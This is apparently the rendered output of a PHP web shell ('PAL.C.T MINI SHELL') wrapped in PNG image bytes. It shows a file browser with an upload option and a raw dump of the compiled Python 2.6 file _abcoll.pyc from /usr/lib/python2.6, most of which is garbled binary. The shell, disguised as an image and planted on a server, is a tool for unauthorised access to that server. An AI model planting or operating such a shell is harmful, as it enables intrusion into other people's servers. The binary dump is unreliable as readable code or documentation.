php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/_abcoll.pyc

Lc@sIdZddklZlZddkZdddddd	d
ddd
ddddddgZdZdd%dYZdd&dYZei	e
defdYZdd'dYZdd(dYZ
d	d)dYZd
eee
fdYZei	edefdYZei	edeee
fdYZdefdYZdeefdYZdeefd YZdefd!YZd
efd"YZei	edeee
fd#YZei	eei	eei	eei	edefd$YZei	e dS(*sAbstract Base Classes (ABCs) for collections, according to PEP 3119.

DON'T USE THIS MODULE DIRECTLY!  The classes here should be imported
via collections; they are defined here only to alleviate certain
bootstrapping issues.  Unit tests are in test_collections.
i(tABCMetatabstractmethodNtHashabletIterabletIteratortSizedt	ContainertCallabletSett
MutableSettMappingtMutableMappingtMappingViewtKeysViewt	ItemsViewt
ValuesViewtSequencetMutableSequencecsEy!tfd|iDSWntj
ot|SXdS(Nc3s"x|]}|ijVqWdS(N(t__dict__(t.0tB(tattr(s/usr/lib/python2.6/_abcoll.pys	<genexpr>s	(tanyt__mro__tAttributeErrorthasattr(tCR((Rs/usr/lib/python2.6/_abcoll.pyt_hasattrs!cBs,eZeZedZedZRS(cCsdS(Ni((tself((s/usr/lib/python2.6/_abcoll.pyt__hash__#scCs|tjory@x9|iD].}d|ijo|idotSPqqWWqtj
ot|ddotSqXntS(NR(RRRtTrueRtgetattrtNonetNotImplemented(tclsRR((s/usr/lib/python2.6/_abcoll.pyt__subclasshook__'s


(t__name__t
__module__Rt
__metaclass__RRtclassmethodR#(((s/usr/lib/python2.6/_abcoll.pyR scBs,eZeZedZedZRS(ccsxto	dVqWdS(N(tFalseR (R((s/usr/lib/python2.6/_abcoll.pyt__iter__:scCs*|tjot|dotSntS(NR)(RRRR!(R"R((s/usr/lib/python2.6/_abcoll.pyR#?s
	(R$R%RR&RR)R'R#(((s/usr/lib/python2.6/_abcoll.pyR7scBs/eZedZdZedZRS(cCs
tdS(N(t
StopIteration(R((s/usr/lib/python2.6/_abcoll.pytnextKscCs|S(N((R((s/usr/lib/python2.6/_abcoll.pyR)OscCs*|tjot|dotSntS(NR+(RRRR!(R"R((s/usr/lib/python2.6/_abcoll.pyR#Rs
	(R$R%RR+R)R'R#(((s/usr/lib/python2.6/_abcoll.pyRIs	cBs,eZeZedZedZRS(cCsdS(Ni((R((s/usr/lib/python2.6/_abcoll.pyt__len__]scCs*|tjot|dotSntS(NR,(RRRR!(R"R((s/usr/lib/python2.6/_abcoll.pyR#as
	(R$R%RR&RR,R'R#(((s/usr/lib/python2.6/_abcoll.pyRZscBs,eZeZedZedZRS(cCstS(N(R((Rtx((s/usr/lib/python2.6/_abcoll.pyt__contains__lscCs*|tjot|dotSntS(NR.(RRRR!(R"R((s/usr/lib/python2.6/_abcoll.pyR#ps
	(R$R%RR&RR.R'R#(((s/usr/lib/python2.6/_abcoll.pyRiscBs,eZeZedZedZRS(cOstS(N(R((Rtargstkwds((s/usr/lib/python2.6/_abcoll.pyt__call__{scCs*|tjot|dotSntS(NR1(RRRR!(R"R((s/usr/lib/python2.6/_abcoll.pyR#s
	(R$R%RR&RR1R'R#(((s/usr/lib/python2.6/_abcoll.pyRxscBseZdZdZdZdZdZdZdZe	dZ
dZd	Zd
Z
dZdZdZd
ZRS(shA set is a finite, iterable container.

    This class provides concrete generic implementations of all
    methods except for __contains__, __iter__ and __len__.

    To override the comparisons (presumably for speed, as the
    semantics are fixed), all you have to do is redefine __le__ and
    then the other operations will automatically follow suit.
    cCsZt|tptSt|t|jotSx |D]}||jotSq:WtS(N(t
isinstanceRR!tlenR(R(Rtothertelem((s/usr/lib/python2.6/_abcoll.pyt__le__s
	cCs;t|tptSt|t|jo
|i|S(N(R2RR!R3R6(RR4((s/usr/lib/python2.6/_abcoll.pyt__lt__scCst|tptS||jS(N(R2RR!(RR4((s/usr/lib/python2.6/_abcoll.pyt__gt__scCst|tptS||jS(N(R2RR!(RR4((s/usr/lib/python2.6/_abcoll.pyt__ge__scCs;t|tptSt|t|jo
|i|S(N(R2RR!R3R6(RR4((s/usr/lib/python2.6/_abcoll.pyt__eq__scCs||jS(N((RR4((s/usr/lib/python2.6/_abcoll.pyt__ne__scCs
||S(sConstruct an instance of the class from any iterable input.

        Must override this method if the class constructor signature
        does not accept an iterable for an input.
        ((R"tit((s/usr/lib/python2.6/_abcoll.pyt_from_iterablescs2t|tptSifd|DS(Nc3s*x#|]}|jo	|VqqWdS(N((Rtvalue(R(s/usr/lib/python2.6/_abcoll.pys	<genexpr>s	(R2RR!R=(RR4((Rs/usr/lib/python2.6/_abcoll.pyt__and__scCs'x |D]}||jotSqWtS(N(R(R(RR4R>((s/usr/lib/python2.6/_abcoll.pyt
isdisjoints

	cCs8t|tptSd||fD}|i|S(Ncss*x#|]}x|D]}|VqWqWdS(N((Rtste((s/usr/lib/python2.6/_abcoll.pys	<genexpr>s	(R2RR!R=(RR4tchain((s/usr/lib/python2.6/_abcoll.pyt__or__scsUttp(ttptS|in|ifd|DS(Nc3s*x#|]}|jo	|VqqWdS(N((RR>(R4(s/usr/lib/python2.6/_abcoll.pys	<genexpr>s	(R2RRR!R=(RR4((R4s/usr/lib/python2.6/_abcoll.pyt__sub__s
cCsHt|tp(t|tptS|i|}n||||BS(N(R2RRR!R=(RR4((s/usr/lib/python2.6/_abcoll.pyt__xor__s
cCsti}d|d}t|}d|d}||M}x>|D]6}t|}|||d>AdAdN}||M}qBW|dd}||M}||jo||d8}n|d	jo
d
}n|S(s+Compute the hash value of a set.

        Note that we don't define __hash__: not all sets are hashable.
        But if you define a hashable set type, its __hash__ should
        call this function.

        This must be compatible __eq__.

        All sets ought to compare equal if they contain the same
        elements, regardless of how they are implemented, and
        regardless of the order of the elements; so there's not much
        freedom for __eq__ or __hash__.  We match the algorithm used
        by the built-in frozenset type.
        iiiMriiM[l4~2i
i6ii8#(tsystmaxintR3thash(RtMAXtMASKtnthR-thx((s/usr/lib/python2.6/_abcoll.pyt_hashs"	




N(R$R%t__doc__R6R7R8R9R:R;R'R=R?R@RDRERFR RRO(((s/usr/lib/python2.6/_abcoll.pyRs		
											cBseeZedZedZdZdZdZdZdZ	dZ
dZRS(	cCs
tdS(sAdd an element.N(tNotImplementedError(RR>((s/usr/lib/python2.6/_abcoll.pytaddscCs
tdS(s8Remove an element.  Do not raise an exception if absent.N(RQ(RR>((s/usr/lib/python2.6/_abcoll.pytdiscardscCs.||jot|n|i|dS(s5Remove an element. If not a member, raise a KeyError.N(tKeyErrorRS(RR>((s/usr/lib/python2.6/_abcoll.pytremoves
cCsIt|}yt|}Wntj
o
tnX|i||S(s2Return the popped value.  Raise KeyError if empty.(titerR+R*RTRS(RR<R>((s/usr/lib/python2.6/_abcoll.pytpops
cCs7yxto|iqWWntj
onXdS(s6This is slow (creates N new iterators!) but effective.N(RRWRT(R((s/usr/lib/python2.6/_abcoll.pytclear!scCs"x|D]}|i|qW|S(N(RR(RR<R>((s/usr/lib/python2.6/_abcoll.pyt__ior__)scCs&x||D]}|i|qW|S(N(RS(RR<R>((s/usr/lib/python2.6/_abcoll.pyt__iand__.scCsct|tp|i|}nx9|D]1}||jo|i|q*|i|q*W|S(N(R2RR=RSRR(RR<R>((s/usr/lib/python2.6/_abcoll.pyt__ixor__3s
cCs"x|D]}|i|qW|S(N(RS(RR<R>((s/usr/lib/python2.6/_abcoll.pyt__isub__=s(R$R%RRRRSRURWRXRYRZR[R\(((s/usr/lib/python2.6/_abcoll.pyR	s		
				
cBszeZedZddZdZdZdZdZ	dZ
dZdZdZ
d	Zd
ZRS(cCs
tdS(N(RT(Rtkey((s/usr/lib/python2.6/_abcoll.pyt__getitem__JscCs'y||SWntj
o|SXdS(N(RT(RR]tdefault((s/usr/lib/python2.6/_abcoll.pytgetNscCs+y||Wntj
otSXtSdS(N(RTR(R(RR]((s/usr/lib/python2.6/_abcoll.pyR.Ts
cCs
t|S(N(RV(R((s/usr/lib/python2.6/_abcoll.pytiterkeys\sccsx|D]}||VqWdS(N((RR]((s/usr/lib/python2.6/_abcoll.pyt
itervalues_sccs$x|D]}|||fVqWdS(N((RR]((s/usr/lib/python2.6/_abcoll.pyt	iteritemscscCs
t|S(N(tlist(R((s/usr/lib/python2.6/_abcoll.pytkeysgscCs)g}|D]}||||fq~S(N((Rt_[1]R]((s/usr/lib/python2.6/_abcoll.pytitemsjscCs#g}|D]}|||q~S(N((RRfR]((s/usr/lib/python2.6/_abcoll.pytvaluesmscCs7t|tptSt|it|ijS(N(R2R
R!tdictRg(RR4((s/usr/lib/python2.6/_abcoll.pyR:sscCs||jS(N((RR4((s/usr/lib/python2.6/_abcoll.pyR;xsN(R$R%RR^R R`R.RaRbRcReRgRhRR:R;(((s/usr/lib/python2.6/_abcoll.pyR
Hs								cBseZdZdZRS(cCs
||_dS(N(t_mapping(Rtmapping((s/usr/lib/python2.6/_abcoll.pyt__init__}scCs
t|iS(N(R3Rj(R((s/usr/lib/python2.6/_abcoll.pyR,s(R$R%RlR,(((s/usr/lib/python2.6/_abcoll.pyR{s	cBseZdZdZRS(cCs
||ijS(N(Rj(RR]((s/usr/lib/python2.6/_abcoll.pyR.sccsx|iD]}|Vq
WdS(N(Rj(RR]((s/usr/lib/python2.6/_abcoll.pyR)s
(R$R%R.R)(((s/usr/lib/python2.6/_abcoll.pyR
s	cBseZdZdZRS(cCsB|\}}y|i|}Wntj
otSX||jSdS(N(RjRTR((RtitemR]R>tv((s/usr/lib/python2.6/_abcoll.pyR.sccs*x#|iD]}||i|fVq
WdS(N(Rj(RR]((s/usr/lib/python2.6/_abcoll.pyR)s
(R$R%R.R)(((s/usr/lib/python2.6/_abcoll.pyRs		cBseZdZdZRS(cCs1x*|iD]}||i|jotSq
WtS(N(RjRR((RR>R]((s/usr/lib/python2.6/_abcoll.pyR.s

	ccs$x|iD]}|i|Vq
WdS(N(Rj(RR]((s/usr/lib/python2.6/_abcoll.pyR)s
(R$R%R.R)(((s/usr/lib/python2.6/_abcoll.pyRs	cBsbeZedZedZeZedZdZdZ	dZ
ddZRS(cCs
tdS(N(RT(RR]R>((s/usr/lib/python2.6/_abcoll.pyt__setitem__scCs
tdS(N(RT(RR]((s/usr/lib/python2.6/_abcoll.pyt__delitem__scCsKy||}Wn+tj
o||ijon|SX||=|SdS(N(RTt_MutableMapping__marker(RR]R_R>((s/usr/lib/python2.6/_abcoll.pyRWscCsMytt|}Wntj
o
tnX||}||=||fS(N(R+RVR*RT(RR]R>((s/usr/lib/python2.6/_abcoll.pytpopitems
cCs7yxto|iqWWntj
onXdS(N(RRrRT(R((s/usr/lib/python2.6/_abcoll.pyRXscOs/t|djotdit|n|ptdn|d}t|djo|dnd}t|to#xz|D]}||||<qWn[t|do)xG|iD]}||||<qWn"x|D]\}}|||<qWx$|iD]\}}|||<qWdS(Nis9update() takes at most 2 positional arguments ({0} given)s,update() takes at least 1 argument (0 given)iiRe((R3t	TypeErrortformatR2R
RReRg(R/R0RR4R]R>((s/usr/lib/python2.6/_abcoll.pytupdates*	
$

cCs0y||SWntj
o|||<nX|S(N(RT(RR]R_((s/usr/lib/python2.6/_abcoll.pyt
setdefaults
N(
R$R%RRoRptobjectRqRWRrRXRuR Rv(((s/usr/lib/python2.6/_abcoll.pyRs					cBsJeZdZedZdZdZdZdZdZ	RS(sAll the operations on a read-only sequence.

    Concrete subclasses must override __new__ or __init__,
    __getitem__, and __len__.
    cCs
tdS(N(t
IndexError(Rtindex((s/usr/lib/python2.6/_abcoll.pyR^sccsMd}y,x%to||}|V|d7}qWWntj
odSXdS(Nii(RRx(RtiRn((s/usr/lib/python2.6/_abcoll.pyR)s
cCs'x |D]}||jotSqWtS(N(RR((RR>Rn((s/usr/lib/python2.6/_abcoll.pyR.
s

	ccs0x)ttt|D]}||VqWdS(N(treversedtrangeR3(RRz((s/usr/lib/python2.6/_abcoll.pyt__reversed__scCs9x,t|D]\}}||jo|Sq
WtdS(N(t	enumeratet
ValueError(RR>RzRn((s/usr/lib/python2.6/_abcoll.pyRys


	cstfd|DS(Nc3s*x#|]}|jo	dVqqWdS(iN((RRn(R>(s/usr/lib/python2.6/_abcoll.pys	<genexpr>s	(tsum(RR>((R>s/usr/lib/python2.6/_abcoll.pytcounts(
R$R%RPRR^R)R.R}RyR(((s/usr/lib/python2.6/_abcoll.pyRs	
			cBsneZedZedZedZdZdZdZddZ	dZ
d	ZRS(
cCs
tdS(N(Rx(RRyR>((s/usr/lib/python2.6/_abcoll.pyRo%scCs
tdS(N(Rx(RRy((s/usr/lib/python2.6/_abcoll.pyRp)scCs
tdS(N(Rx(RRyR>((s/usr/lib/python2.6/_abcoll.pytinsert-scCs|it||dS(N(RR3(RR>((s/usr/lib/python2.6/_abcoll.pytappend1scCsXt|}xEt|dD]3}|||d||||<|||d<qWdS(Nii(R3R|(RRLRz((s/usr/lib/python2.6/_abcoll.pytreverse4scCs"x|D]}|i|qWdS(N(R(RRhRn((s/usr/lib/python2.6/_abcoll.pytextend9sicCs||}||=|S(N((RRyRn((s/usr/lib/python2.6/_abcoll.pyRW=s
cCs||i|=dS(N(Ry(RR>((s/usr/lib/python2.6/_abcoll.pyRUBscCs|i||S(N(R(RRh((s/usr/lib/python2.6/_abcoll.pyt__iadd__Es
(R$R%RRoRpRRRRRWRUR(((s/usr/lib/python2.6/_abcoll.pyR#s				((((((!RPtabcRRRGt__all__RRRtregistertstrRRRRRt	frozensetR	tsetR
RR
RRRRiRttuplet
basestringtbuffertxrangeRRd(((s/usr/lib/python2.6/_abcoll.pyt<module>	sD			
x
=
3	

D
(



&
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`